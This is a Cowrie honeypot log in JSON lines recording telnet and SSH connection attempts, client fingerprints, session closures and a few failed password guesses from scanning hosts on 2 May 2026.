{"eventid":"cowrie.session.closed","duration":7.880834579467773,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:47.085645Z","src_ip":"174.138.46.234","session":"c26c0909ad9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":37860,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a861ed3610f","protocol":"telnet","message":"New connection: 188.95.113.134:37860 (159.203.135.109:23) [session: 0a861ed3610f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:54.885321Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":37868,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f5df463951","protocol":"telnet","message":"New connection: 188.95.113.134:37868 (159.203.135.109:23) [session: e4f5df463951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:55.153970Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":35706,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2ffd7e393a2","protocol":"ssh","message":"New connection: 59.17.95.129:35706 (10.17.0.5:22) [session: f2ffd7e393a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:57.872194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:57.877210Z","src_ip":"59.17.95.129","session":"f2ffd7e393a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:58.075222Z","src_ip":"59.17.95.129","session":"f2ffd7e393a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":37884,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d11e8a07e7f","protocol":"telnet","message":"New connection: 188.95.113.134:37884 (159.203.135.109:23) [session: 2d11e8a07e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:58.735668Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"EX123456","message":"login attempt [root/EX123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:58.899004Z","src_ip":"59.17.95.129","session":"f2ffd7e393a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":37890,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba27f4e70ec6","protocol":"telnet","message":"New connection: 188.95.113.134:37890 (159.203.135.109:23) [session: ba27f4e70ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:58.938128Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:00.101058Z","src_ip":"59.17.95.129","session":"f2ffd7e393a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":37898,"dst_ip":"159.203.135.109","dst_port":23,"session":"6245b318679c","protocol":"telnet","message":"New connection: 188.95.113.134:37898 (159.203.135.109:23) [session: 6245b318679c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:00.402199Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":55382,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc71d08ba809","protocol":"telnet","message":"New connection: 188.95.113.134:55382 (159.203.135.109:23) [session: fc71d08ba809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:06.430837Z"}
{"eventid":"cowrie.session.closed","duration":31.163724899291992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:11.055480Z","src_ip":"188.95.113.134","session":"d3b9663c1074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":55314,"dst_ip":"159.203.135.109","dst_port":23,"session":"da44325f9279","protocol":"telnet","message":"New connection: 188.95.113.134:55314 (159.203.135.109:23) [session: da44325f9279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:12.688726Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37824,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b9e994e27d5","protocol":"telnet","message":"New connection: 174.138.46.234:37824 (159.203.135.109:23) [session: 4b9e994e27d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:13.039869Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37654,"dst_ip":"159.203.135.109","dst_port":23,"session":"d82cf9397577","protocol":"telnet","message":"New connection: 174.138.46.234:37654 (159.203.135.109:23) [session: d82cf9397577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:13.485203Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38048,"dst_ip":"159.203.135.109","dst_port":23,"session":"9295ddbac166","protocol":"telnet","message":"New connection: 174.138.46.234:38048 (159.203.135.109:23) [session: 9295ddbac166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:13.916112Z"}
{"eventid":"cowrie.session.closed","duration":30.245883226394653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:15.153157Z","src_ip":"188.95.113.134","session":"d05bdb922b9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38744,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cb4e043645b","protocol":"telnet","message":"New connection: 174.138.46.234:38744 (159.203.135.109:23) [session: 3cb4e043645b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:16.373391Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":55322,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae6116ee1fd7","protocol":"telnet","message":"New connection: 188.95.113.134:55322 (159.203.135.109:23) [session: ae6116ee1fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:19.123441Z"}
{"eventid":"cowrie.session.closed","duration":7.074560165405273,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:20.559681Z","src_ip":"174.138.46.234","session":"d82cf9397577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.981141805648804,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:20.896832Z","src_ip":"174.138.46.234","session":"9295ddbac166","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.903681516647339,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:20.943456Z","src_ip":"174.138.46.234","session":"4b9e994e27d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.851438045501709,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:22.224704Z","src_ip":"174.138.46.234","session":"3cb4e043645b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43823742866516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:25.323408Z","src_ip":"188.95.113.134","session":"0a861ed3610f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.77045774459839,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:25.512787Z","src_ip":"174.138.46.234","session":"9f1256ae351a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.493173122406006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:26.646950Z","src_ip":"188.95.113.134","session":"e4f5df463951","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.954121351242065,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:26.820510Z","src_ip":"174.138.46.234","session":"067ce54d0da4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":52424,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ebe1b89ff49","protocol":"telnet","message":"New connection: 188.95.113.134:52424 (159.203.135.109:23) [session: 3ebe1b89ff49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:27.129499Z"}
{"eventid":"cowrie.session.closed","duration":30.555734872817993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:29.291283Z","src_ip":"188.95.113.134","session":"2d11e8a07e7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.473601818084717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:30.411621Z","src_ip":"188.95.113.134","session":"ba27f4e70ec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895201206207275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:31.297250Z","src_ip":"188.95.113.134","session":"6245b318679c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56208,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d5ce121eb5","protocol":"telnet","message":"New connection: 188.95.113.134:56208 (159.203.135.109:23) [session: b6d5ce121eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:35.521425Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56218,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ca1dc4ee39","protocol":"telnet","message":"New connection: 188.95.113.134:56218 (159.203.135.109:23) [session: 13ca1dc4ee39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:36.234835Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56226,"dst_ip":"159.203.135.109","dst_port":23,"session":"f769cbae3515","protocol":"telnet","message":"New connection: 188.95.113.134:56226 (159.203.135.109:23) [session: f769cbae3515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:36.247505Z"}
{"eventid":"cowrie.session.closed","duration":30.66368079185486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:37.094399Z","src_ip":"188.95.113.134","session":"fc71d08ba809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":58496,"dst_ip":"159.203.135.109","dst_port":22,"session":"d75dfd82484a","protocol":"ssh","message":"New connection: 209.38.20.25:58496 (159.203.135.109:22) [session: d75dfd82484a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:37.394199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:37.398992Z","src_ip":"209.38.20.25","session":"d75dfd82484a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:37.610340Z","src_ip":"209.38.20.25","session":"d75dfd82484a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"654321","message":"login attempt [postgres/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:38.488373Z","src_ip":"209.38.20.25","session":"d75dfd82484a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56242,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b227f617f7e","protocol":"telnet","message":"New connection: 188.95.113.134:56242 (159.203.135.109:23) [session: 4b227f617f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:38.768077Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:39.703055Z","src_ip":"209.38.20.25","session":"d75dfd82484a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56256,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd9abd51fbc","protocol":"telnet","message":"New connection: 188.95.113.134:56256 (159.203.135.109:23) [session: 1dd9abd51fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:40.694926Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56260,"dst_ip":"159.203.135.109","dst_port":23,"session":"11a64ae4d162","protocol":"telnet","message":"New connection: 188.95.113.134:56260 (159.203.135.109:23) [session: 11a64ae4d162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:41.752549Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56264,"dst_ip":"159.203.135.109","dst_port":23,"session":"7146ff6e8ae6","protocol":"telnet","message":"New connection: 188.95.113.134:56264 (159.203.135.109:23) [session: 7146ff6e8ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:42.010261Z"}
{"eventid":"cowrie.session.closed","duration":30.406922340393066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:43.095441Z","src_ip":"188.95.113.134","session":"da44325f9279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":59252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8586a294e56","protocol":"telnet","message":"New connection: 188.95.113.134:59252 (159.203.135.109:23) [session: c8586a294e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:46.743647Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":59260,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eab635539e0","protocol":"telnet","message":"New connection: 188.95.113.134:59260 (159.203.135.109:23) [session: 5eab635539e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:47.714817Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":59268,"dst_ip":"159.203.135.109","dst_port":23,"session":"050bf90703c4","protocol":"telnet","message":"New connection: 188.95.113.134:59268 (159.203.135.109:23) [session: 050bf90703c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:48.078909Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":59278,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01e1c7bf167","protocol":"telnet","message":"New connection: 188.95.113.134:59278 (159.203.135.109:23) [session: e01e1c7bf167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:49.292762Z"}
{"eventid":"cowrie.session.closed","duration":31.043424606323242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:50.166746Z","src_ip":"188.95.113.134","session":"ae6116ee1fd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":59280,"dst_ip":"159.203.135.109","dst_port":23,"session":"6712bd47e28e","protocol":"telnet","message":"New connection: 188.95.113.134:59280 (159.203.135.109:23) [session: 6712bd47e28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:50.257771Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":59296,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68713617121","protocol":"telnet","message":"New connection: 188.95.113.134:59296 (159.203.135.109:23) [session: d68713617121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:51.465185Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48502,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f6b05ed9a44","protocol":"telnet","message":"New connection: 174.138.46.234:48502 (159.203.135.109:23) [session: 4f6b05ed9a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:51.860720Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":57620,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e212305e403","protocol":"telnet","message":"New connection: 188.95.113.134:57620 (159.203.135.109:23) [session: 9e212305e403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:53.870097Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":59498,"dst_ip":"10.17.0.5","dst_port":22,"session":"35d59a34b9fc","protocol":"ssh","message":"New connection: 59.17.95.129:59498 (10.17.0.5:22) [session: 35d59a34b9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:55.885702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:55.891546Z","src_ip":"59.17.95.129","session":"35d59a34b9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:56.098340Z","src_ip":"59.17.95.129","session":"35d59a34b9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reza@123","message":"login attempt [root/reza@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:56.956741Z","src_ip":"59.17.95.129","session":"35d59a34b9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.014191150665283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:58.143599Z","src_ip":"188.95.113.134","session":"3ebe1b89ff49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:58.183526Z","src_ip":"59.17.95.129","session":"35d59a34b9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.8979175090789795,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:57:59.758518Z","src_ip":"174.138.46.234","session":"4f6b05ed9a44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":57622,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0d37b421a54","protocol":"telnet","message":"New connection: 188.95.113.134:57622 (159.203.135.109:23) [session: c0d37b421a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:01.404316Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56674,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bfe4296be0f","protocol":"telnet","message":"New connection: 188.95.113.134:56674 (159.203.135.109:23) [session: 3bfe4296be0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:02.339815Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51736,"dst_ip":"159.203.135.109","dst_port":23,"session":"e87fa803de0d","protocol":"telnet","message":"New connection: 174.138.46.234:51736 (159.203.135.109:23) [session: e87fa803de0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:04.652003Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52232,"dst_ip":"159.203.135.109","dst_port":23,"session":"6817312b7083","protocol":"telnet","message":"New connection: 174.138.46.234:52232 (159.203.135.109:23) [session: 6817312b7083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:05.492130Z"}
